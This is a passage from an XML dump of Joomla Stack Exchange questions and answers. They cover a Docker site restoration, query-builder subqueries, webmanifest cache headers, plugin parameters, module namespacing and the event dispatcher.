PMA_HOST=joomladb&#xA;&#xA;volumes:&#xA;  mysql-volume:&#xA;  joomla-volume:&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm able to launch the default site and get to the back-end where I install Akeeba, load up the archive image, and do the restoration. During the restoration I disable SSL for ease of debugging as well as update my hosts file to point the DNS of the website to my local Docker image.&lt;/p&gt;&#xA;&lt;p&gt;Once restored, I'm able to get to the back-end admin center without any issue, but the front end is not loading, takes about 10-15 seconds to attempt load, and seems to be related to a 500 Internal Server Error (related to &amp;quot;strict-origin-when-cross-origin&amp;quot;) and not being able to load JQuery (probably a symptom). A few items load, like the site logo, but 95+% of it never comes through.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sonjU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot of error&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts? Help? ...please? :-[&lt;/p&gt;&#xA;&lt;p&gt;I've already talked with Akeeba support and they indicated that they are able to restore the site without issue, leading me to believe that it's a Docker-specific issue. Based on their testing and mine it doesn't appear to be related to:&#xA;cache (which I've disabled)&#xA;.htaccess (which I've done all kinds of things to in testing this)&#xA;the configuration.php.&lt;/p&gt;&#xA;&lt;p&gt;I've also tried building Bitnami's base Joomla! 3.10.11 Docker image and restoring there, but it has the exact same issue once restored.&lt;/p&gt;&#xA;" OwnerUserId="17028" OwnerDisplayName="PhotoRonin" LastActivityDate="2023-04-25T21:29:58.600" Title="Issue Restoring Joomla 3.10.11 to Docker" Tags="|docker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33002" PostTypeId="2" ParentId="33001" CreationDate="2023-04-24T10:37:01.177" Score="2" Body="&lt;p&gt;While Joomla 3.10 is compatible with PHP 8.0, many extensions are not.&#xA;Try using a docker compose stack with php7.4 you should be lucky&lt;/p&gt;&#xA;&lt;p&gt;Else expose your Apache logs to the docker machine, set configuration error reporting to maximum or development, and see if you have more info there.&lt;/p&gt;&#xA;&lt;p&gt;You can debug the .htaccess by simply removing it along with any hardening configuration in Apache, you can sort those out later&lt;/p&gt;&#xA;&lt;p&gt;If your docker stack contains a reverse proxy bypass it for now by connecting directly to the higher port to debug one issue at a time&lt;/p&gt;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&lt;p&gt;Update&lt;/p&gt;&#xA;&lt;p&gt;In order to have php7.4 in docker you can look in the &lt;code&gt;fasterj&lt;/code&gt; folder in &lt;a href=&quot;https://github.com/riczorn/docker-nginx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this docker repo&lt;/a&gt;, open the &lt;code&gt;docker-compose.yaml&lt;/code&gt; and find the php-fpm machine.&lt;/p&gt;&#xA;&lt;p&gt;It's a very simple docker stack with quite a few comments in the readme, I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="377" OwnerDisplayName="Riccardo Zorn" LastEditorUserId="377" LastEditDate="2023-04-25T21:29:58.600" LastActivityDate="2023-04-25T21:29:58.600" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33003" PostTypeId="2" ParentId="32992" CreationDate="2023-04-26T11:05:16.217" Score="0" Body="&lt;p&gt;&lt;strong&gt;WORKING SOLUTION!!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The answer of mickmackusa brought the solution, just needed to adopt some things and get the correct Joomla syntax to make the code running. Posting the running example for anyone who could use it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$db = JFactory::getDbo();&#xA;&#xA;    $subquery = $db-&amp;gt;getQuery(true);&#xA;                $subquery-&amp;gt;select('p1.*');&#xA;                $subquery-&amp;gt;from($db-&amp;gt;quoteName('#__products') . ' AS p1');&#xA;                $subquery-&amp;gt;join('LEFT', '#__products AS p2 &#xA;                        ON (p1.company_id = p2.company_id AND p1.price &amp;gt; p2.price)');&#xA;                $subquery-&amp;gt;where('p2.price IS NULL');&#xA;   &#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;                &#xA;                $query-&amp;gt;select('&#xA;                        a.id                AS id,&#xA;                        a.whatever_x        AS whatever_x,&#xA;                        p.title             AS Product,&#xA;                        p.price             AS price,&#xA;                        p.lowprice          AS lowprice,&#xA;                        p.whatever_y        AS whatever_y');&#xA; &#xA;&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__content') . ' AS a');&#xA;    $query-&amp;gt;join('LEFT', '(' . $subquery . ')' . ' AS p ON a.id = p.company_id');&#xA;  &#xA;&#xA;    $db-&amp;gt;setQuery($query, 0, $params-&amp;gt;limit);&#xA;    $items = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $items;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Additional info:&lt;/strong&gt; I did not know about the very helpful trick with throwing out SQL statements posted by mickmackusa. For every beginner like me:&#xA;Put your code inside of this construction:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// start &#xA;try {&#xA;&#xA;// put here whatever SQL &#xA;&#xA;// close it with this code&#xA;    $db-&amp;gt;setQuery($query);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {&#xA;        echo &amp;quot;&amp;lt;p&amp;gt;No Rows Found&amp;lt;/p&amp;gt;&amp;quot;;&#xA;    } else {&#xA;        echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;        var_export($result);&#xA;        echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&amp;quot;Query Syntax Error: &amp;quot; . $e-&amp;gt;getMessage(), 'error');  &#xA;}&#xA;&#xA;// don't show $e-&amp;gt;getMessage() to public!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17022" LastActivityDate="2023-04-26T11:05:16.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33004" PostTypeId="2" ParentId="26598" CreationDate="2023-04-27T12:02:40.530" Score="0" Body="&lt;p&gt;For future readers, I found that Joomla (at least in version 3) does not save the message queue, unless the &lt;code&gt;$application-&amp;gt;redirect()&lt;/code&gt; function is called. Usually, Ajax requests end with &lt;code&gt;$application-&amp;gt;close()&lt;/code&gt;, so any &lt;code&gt;enqueueMessage&lt;/code&gt; called is lost.&lt;/p&gt;&#xA;&lt;p&gt;I added these two lines before calling &lt;code&gt;$application-&amp;gt;close()&lt;/code&gt; in my ajax controller, to make the message queue persist until the next page load:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = \JFactory::getSession();&#xA;$session-&amp;gt;set('application.queue', $app-&amp;gt;getMessageQueue());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Again, this code is for Joomla 3. It may work in Joomla 4, but I haven't tested it.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2023-04-27T12:02:40.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33005" PostTypeId="1" CreationDate="2023-04-27T13:49:10.233" Score="1" ViewCount="21" Body="&lt;p&gt;When I login on the front end of my Joomla-Site, I can only edit articles that are shown in a menu-item-type &amp;quot;single article&amp;quot;. Those articles that are shown in a menu-item-type &amp;quot;category blog&amp;quot; can't be edited. In fact, they are missing the edit-icon (gearwheel).&lt;/p&gt;&#xA;&lt;p&gt;Funny though: If I enable &amp;quot;Show Publish Date&amp;quot;, so that a bit of space is added on the top of an article, the gearwheel appears (Date on the left hand side/ gearwheel on the right hand side). Publish Dates (any dates at all) are usually disabled on my site. Articles of a menu-item-type &amp;quot;single article&amp;quot; have the gearwheel, regardless of the Publish Date.&lt;/p&gt;&#xA;&lt;p&gt;I recently updated the system from Joomla 3.5 to 3.10.11 This problem appears since then. My User has Super-User-permissions.&lt;/p&gt;&#xA;&lt;p&gt;Am I missing a certain setting? I've searched up and down...&lt;/p&gt;&#xA;" OwnerUserId="17031" LastActivityDate="2023-04-27T13:49:10.233" Title="Can't access Front End Editing for articles of a category blog" Tags="|front-end|category-blog|editing|joomla-3.10|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33006" PostTypeId="1" AcceptedAnswerId="33007" CreationDate="2023-04-27T17:25:20.673" Score="2" ViewCount="324" Body="&lt;p&gt;I have a site.webmanifest file that was added when I created favicons for a website.&#xA;A check on webpagetest.org said:&#xA;FAILED (No max-age or expires): https://[my-site]/site.webmanifest&lt;/p&gt;&#xA;&lt;p&gt;Having done some research I thought that the site.webmanifest file was a kind of json file so I added this to the .htaccess file:&#xA;&lt;code&gt;ExpiresByType application/json “access plus 1 year”&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I still got the same fail message, so I tried&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ExpiresByType application/webmanifest “access plus 1 year”&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&#xA;&lt;code&gt;ExpiresByType application/site.webmanifest “access plus 1 year”&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&#xA;&lt;code&gt;ExpiresByType text/site.webmanifest “access plus 1 year”&lt;/code&gt; in case it's not an application, and&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ExpiresByType manifest/site.webmanifest “access plus 1 year”&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;with again, the fail message.&#xA;[I asked this question back in January 2023 on forum.joomla.org without any response, so I'm trying here].&lt;/p&gt;&#xA;&lt;p&gt;From what I understand, this file tells Android devices about the icon that can be added to a home screen for a quick link to the website. But maybe it doesn't apply to websites, only Apps. I haven't built any apps, only Joomla websites, so maybe I don't need this file at all?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;UPDATE 30.04.23 with response headers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;X-Firefox-Spdy  h2&#xA;accept-ranges   bytes&#xA;access-control-allow-origin *&#xA;content-length  426&#xA;content-type    application/manifest+json&#xA;date    Sun, 30 Apr 2023 11:46:08 GMT&#xA;last-modified   Tue, 01 Feb 2022 09:35:40 GMT&#xA;server  LiteSpeed&#xA;strict-transport-security   max-age=31536000&#xA;vary    User-Agent&#xA;x-content-type-options  nosniff&#xA;x-frame-options SAMEORIGIN&#xA;Accept  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&#xA;Accept-Encoding gzip, deflate, br&#xA;Accept-Language en-GB,en;q=0.5&#xA;Connection  keep-alive&#xA;Host    www.[mysite]&#xA;Sec-Fetch-Dest  document&#xA;Sec-Fetch-Mode  navigate&#xA;Sec-Fetch-Site  none&#xA;Sec-Fetch-User  ?1&#xA;TE  trailers&#xA;Upgrade-Insecure-Requests   1&#xA;User-Agent  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="28" LastEditDate="2023-05-01T03:59:45.597" LastActivityDate="2023-05-01T03:59:45.597" Title="How do I add an expires by type header for site.webmanifest?" Tags="|.htaccess-configuration|web-app-manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33007" PostTypeId="2" ParentId="33006" CreationDate="2023-04-27T19:13:14.990" Score="3" Body="&lt;pre&gt;&lt;code&gt;ExpiresByType &amp;lt;mime-type&amp;gt; &amp;quot;access plus 1 year&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;mime-type&amp;gt;&lt;/code&gt; you need to use here is dependent on the mime-type that your server is using in the response. ie. The value of the &lt;code&gt;Content-Type&lt;/code&gt; HTTP response header.&lt;/p&gt;&#xA;&lt;p&gt;However, unless you've explicitly configured a mime-type for &lt;code&gt;.webmanifest&lt;/code&gt; files then the server is likely defaulting to &lt;code&gt;application/octet-stream&lt;/code&gt; - on which you should probably &lt;em&gt;not&lt;/em&gt; set a caching directive.&lt;/p&gt;&#xA;&lt;p&gt;You could set the appropriate mime-type using the &lt;code&gt;AddType&lt;/code&gt; directive. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AddType application/json .webmanifest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can then use &lt;code&gt;application/json&lt;/code&gt; in the &lt;code&gt;ExpiresByType&lt;/code&gt; directive, as you did initially. (Making sure that the server is actually honoring that directive and setting the &lt;code&gt;Content-Type&lt;/code&gt; header as expected.)&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, set the &lt;code&gt;Cache-Control&lt;/code&gt; (&lt;code&gt;max-age&lt;/code&gt;) header directly using mod_headers, based on the file extension (&lt;code&gt;.webmanifest&lt;/code&gt;) instead - which is what mod_expires (&lt;code&gt;ExpiresByType&lt;/code&gt;) will do. (mod_headers will override mod_expires). For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files &amp;quot;*.webmanifest&amp;quot;&amp;gt;&#xA;    Header set Cache-Control &amp;quot;max-age:31536000, must-revalidate&amp;quot;&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;31536000&lt;/code&gt; is the number of seconds in 1 year (365 days).&lt;/p&gt;&#xA;&lt;p&gt;Strictly speaking, mod_expires also sets the &lt;code&gt;Expires&lt;/code&gt; header as well, but that's only necessary for very old user-agents. (And &lt;code&gt;Expires&lt;/code&gt; takes a HTTP-date timestamp, which is tricky to set to a calculated date some period in the future. &lt;code&gt;Cache-Control&lt;/code&gt;/&lt;code&gt;max-age&lt;/code&gt; conveniently gets round that problem.)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;so maybe I don't need this file at all?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Probably not. And I wonder whether it should be cached anyway (or whether that really matters)?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Following your update with the HTTP response headers...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;content-type    application/manifest+json&#xA;date    Sun, 30 Apr 2023 11:46:08 GMT&#xA;last-modified   Tue, 01 Feb 2022 09:35:40 GMT&#xA;server  LiteSpeed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As mentioned at the top of my answer. The mime-type that should be used in the &lt;code&gt;ExpiresByType&lt;/code&gt; directive corresponds to the mime-type sent back in the &lt;code&gt;Content-Type&lt;/code&gt; header. In other words:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExpiresByType application/manifest+json &amp;quot;access plus 1 year&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Side note: In your question you are using &lt;em&gt;curly&lt;/em&gt; quotes in the above directive - you should be using the plain straight quotes in the config file. Using &lt;em&gt;curly&lt;/em&gt; quotes here would be an error.)&lt;/p&gt;&#xA;&lt;p&gt;However, since there is a &lt;code&gt;Last-Modified&lt;/code&gt; header set in the past, this resource will still be cached by the user-agent/browser using &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching#heuristic_caching&quot; rel=&quot;nofollow noreferrer&quot;&gt;heuristic caching&lt;/a&gt; - it's just that the duration of this cache will possibly vary by user-agent (it won't be &amp;quot;1 year&amp;quot;), but should increase with time (assuming this file is not updated).&lt;/p&gt;&#xA;&lt;p&gt;So, the &amp;quot;warning&amp;quot; returned from &lt;code&gt;webpagetest.org&lt;/code&gt; is not the complete picture. Yes, there are &amp;quot;No max-age or expires&amp;quot; headers, but that does not necessarily mean the resource won't be cached.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &amp;quot;*.webmanifest&amp;quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header set Cache-Control &amp;quot;max-age:31536000, must-revalidate&amp;quot;     &#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Since you are on a LiteSpeed server (not Apache), this explains why you were not seeing a fatal error with the invalid code (invalid regex) as posted in the comment below (copied above). LiteSpeed tends to simply ignore directives that trigger an &amp;quot;error&amp;quot; (a nightmare to debug, but your site doesn't break).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;FilesMatch&lt;/code&gt; directive takes a regex (&lt;code&gt;*.webmanifest&lt;/code&gt; is an invalid regex). Whereas the &lt;code&gt;Files&lt;/code&gt; directive takes a wildcard-pattern (not a regex). To target just that one file then you could simply uses the entire filename. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files &amp;quot;site.webmanifest&amp;quot;&amp;gt;&#xA;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the &lt;code&gt;Files&lt;/code&gt; (and &lt;code&gt;FilesMatch&lt;/code&gt;) directive(s) match against the filename only, not the file-path.&lt;/p&gt;&#xA;&lt;p&gt;You should not use the &lt;code&gt;&amp;lt;Ifmodule mod_headers.c&amp;gt;&lt;/code&gt; here. Apart from being entirely superfluous on LiteSpeed (it ignores errors anyway), it would only serve to &lt;em&gt;mask&lt;/em&gt; errors on Apache. The &lt;code&gt;Header&lt;/code&gt; directive is not intended to be &amp;quot;optional&amp;quot; here (the only reason to use the &lt;code&gt;&amp;lt;IfModule&amp;gt;&lt;/code&gt; wrapper in this instance).&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2023-04-30T17:30:05.677" LastActivityDate="2023-04-30T17:30:05.677" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33008" PostTypeId="1" AcceptedAnswerId="33010" CreationDate="2023-04-29T17:17:15.103" Score="0" ViewCount="62" Body="&lt;p&gt;I am working on a system plugin which uses its own custom field. The plugin has an XML looking like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot; addfieldprefix=&amp;quot;Joomla\Plugin\System\MyPlugin\Field&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;api-key&amp;quot; label=&amp;quot;api-key&amp;quot; type=&amp;quot;password&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now i need to use the API key in the custom field. The custom field is working inside the plugin, but how to access the config param from the plugin inside the custom field?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Plugin\System\MyPlugin\Field;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class MyCustomField extends ListField&#xA;{&#xA;    protected $type = 'MyCustom';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        // Trying to access the API Key from the Plugin config&#xA;        var_dump($this-&amp;gt;form-&amp;gt;getField('api-key', 'params'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When using this i only get the data from the custom field, nothing about the plugin config embeding it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getData()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-04-29T17:51:56.003" LastActivityDate="2023-05-01T07:39:20.463" Title="Accessing system plugin params by custom field" Tags="|plugin|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33010" PostTypeId="2" ParentId="33008" CreationDate="2023-05-01T07:39:20.463" Score="1" Body="&lt;p&gt;From within the field, you can get the plugin parameters from the &lt;code&gt;PluginHelper&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$plugin = PluginHelper::getPlugin('system','myplugin');&#xA;$params = new Registry($plugin-&amp;gt;params);&#xA;$apiKey = $params-&amp;gt;get('api-key');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-05-01T07:39:20.463" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33011" PostTypeId="1" CreationDate="2023-05-01T12:31:35.967" Score="1" ViewCount="70" Body="&lt;p&gt;I'm using Custom Fields in articles intensively.&lt;/p&gt;&#xA;&lt;p&gt;I need to override the Custom Fields edit layout on the administrator side.&#xA;Editing the files created via Administrator Template Overrides do not work.&lt;/p&gt;&#xA;&lt;p&gt;As an example, any edits to file &lt;code&gt;administrator/templates/atum/html/plg_fields_sql/sql.php&lt;/code&gt; have no impact on the SQL custom fields layout when I edit an article on Joomla Administrator.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, I'd like to create my own custom layout as described &lt;a href=&quot;https://magazine.joomla.org/all-issues/may-2021/explore-the-core-play-with-custom-fields-to-enrich-your-content-or-your-design&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but for the editing the fields on the Joomla Administrator side.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastEditorUserId="12352" LastEditDate="2023-05-02T22:37:46.947" LastActivityDate="2023-05-02T22:37:46.947" Title="How can I override custom fields layout for the Administrator side?" Tags="|development|joomla-4.x|custom-field|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33012" PostTypeId="1" AcceptedAnswerId="33015" CreationDate="2023-05-01T14:23:19.460" Score="1" ViewCount="116" Body="&lt;p&gt;What is the difference between:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$result = $app-&amp;gt;triggerEvent('onMyEvent', [$context, &amp;amp;$table, $data]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;getDispatcher()-&amp;gt;dispatch('onMyEvent', AbstractEvent::create(&#xA;    'onMyEvent',&#xA;    [&#xA;        'extension'  =&amp;gt; $context,&#xA;        'subject'   =&amp;gt; $this,&#xA;        'data'   =&amp;gt; $data,&#xA;    ]&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is &lt;code&gt;triggerEvent&lt;/code&gt; just going obsolete in future Joomla ?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-05-02T07:04:07.187" Title="Difference between triggerEvent and dispatch" Tags="|plugin-events|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33013" PostTypeId="1" AcceptedAnswerId="33014" CreationDate="2023-05-02T02:49:55.580" Score="2" ViewCount="205" Body="&lt;p&gt;I'm creating a custom module for Joomla 4, but having problems with namespacing.&#xA;I've been following the steps here: &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J4.x:Creating_a_Simple_Module#Namespaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J4.x:Creating_a_Simple_Module#Namespaces&lt;/a&gt; but still having issues.&lt;/p&gt;&#xA;&lt;p&gt;The module is &amp;quot;mod_jpc_menu_link_display&amp;quot; and all files are in that folder.&lt;/p&gt;&#xA;&lt;p&gt;The helper file (/helper/mod_jpc_menu_link_display_helper.php) contains:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;namespace Joomla\Module\JpcMenuLinkDisplay\Site\Helper;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;as well as a class:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;class MenuLinkHelper {}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The main module file (mod_jpc_menu_link_display.php) contains:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;use Joomla\Module\JpcMenuLinkDisplay\Site\Helper\MenuLinkHelper;&lt;/code&gt;&lt;br /&gt;&#xA;&lt;code&gt;$menuItems = MenuLinkHelper::getItems($params);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the manifest file (mod_jpc_menu_link_display.xml contains:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace&amp;gt;Joomla\Module\JpcMenuLinkDisplay&amp;lt;/namespace&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename module=&amp;quot;mod_jpc_menu_link_display&amp;quot;&amp;gt;mod_jpc_menu_link_display.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;readme.md&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;helper&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;filename&amp;gt;mod_jpc_menu_link_display.xml&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything appears proper to me; however, when the module is placed and the front-end is displayed I get a Symfony\Component\ErrorHandler\Error: ClassNotFoundError&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Attempted to load class &amp;quot;MenuLinkHelper&amp;quot; from namespace &amp;quot;Joomla\Module\JpcMenuLinkDisplay\Site\Helper&amp;quot;.&#xA;Did you forget a &amp;quot;use&amp;quot; statement for another namespace?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've looked this over a bunch of times and I'm not able to find the problem with this.&lt;/p&gt;&#xA;&lt;p&gt;Any idea why it is not loading the namespace and class properly or giving that error?&lt;/p&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2023-05-02T05:11:05.920" Title="Joomla 4 custom module namespace issue" Tags="|namespace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33014" PostTypeId="2" ParentId="33013" CreationDate="2023-05-02T05:11:05.920" Score="2" Body="&lt;p&gt;Joomla uses &lt;a href=&quot;https://www.php-fig.org/psr/psr-4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PSR-4&lt;/a&gt; autoloader. You must follow this convention for builtin autoloading to work. In your case you have to rename the helper file to match the class file, i.e. it should be &lt;code&gt;/Helper/MenuLinkHelper.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-05-02T05:11:05.920" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33015" PostTypeId="2" ParentId="33012" CreationDate="2023-05-02T07:04:07.187" Score="1" Body="&lt;p&gt;Main difference is that &lt;code&gt;triggerEvent()&lt;/code&gt; returns an array composed of values returned by the event handlers (i.e. plugins). Meanwhile, dispatcher's &lt;code&gt;dispatch()&lt;/code&gt; method returns the event itself. The idea is that each event should be a concrete class with concrete arguments, ways of modifying it and ways of getting the needed results. If you are using the generic event created by &lt;code&gt;Joomla\CMS\Event\AbstractEvent::createEvent()&lt;/code&gt; you're not really taking the advantage of the new system.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-05-02T07:04:07.187" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33016" PostTypeId="1" CreationDate="2023-05-02T11:33:03.567" Score="2" ViewCount="103" Body="&lt;p&gt;Is there a way to add Javascript to the Joomla Administrator template without creating a child template?&lt;/p&gt;&#xA;&lt;p&gt;Something equivalent to &lt;code&gt;/media/templates/administrator/atum/css/user.css&lt;/code&gt; for Javascript.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastEditorUserId="12352" LastEditDate="2023-05-02T22:36:36.820" LastActivityDate="2023-05-02T22:36:36.820" Title="Adding Javascript to the Administrator Template" Tags="|development|joomla-4.x|administrator|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33017" PostTypeId="2" ParentId="33016" CreationDate="2023-05-02T11:56:10.000" Score="1" Body="&lt;p&gt;You could create a system plugin that only works in the back-end and loads some JavaScript file.&lt;/p&gt;&#xA;&lt;p&gt;Probably with something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemPluginname extends CMSPlugin&#xA;{&#xA;&#xA;  protected $app;&#xA;&#xA;  public function onAfterRender()&#xA;  {&#xA;    // Quit this when the app is not in the administrator back-end&#xA;    if (!$this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;    {&#xA;      return;&#xA;    }&#xA;&#xA;    // Load some JavaScript file&#xA;    HTMLHelper::_('script','com_foo/foo.js', &#xA;    ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" 